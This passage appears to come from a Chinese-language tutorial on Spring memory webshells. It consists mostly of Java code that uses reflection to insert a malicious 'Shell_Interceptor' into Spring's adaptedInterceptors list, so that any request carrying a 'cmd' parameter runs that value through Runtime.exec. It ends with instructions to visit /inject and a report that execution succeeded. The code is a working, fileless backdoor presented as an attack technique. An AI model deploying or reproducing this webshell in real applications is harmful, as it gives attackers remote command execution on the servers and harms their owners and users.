java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);


//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);
}

public class Shell_Interceptor implements HandlerInterceptor{
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
}

访问对应路由/inject

成功执行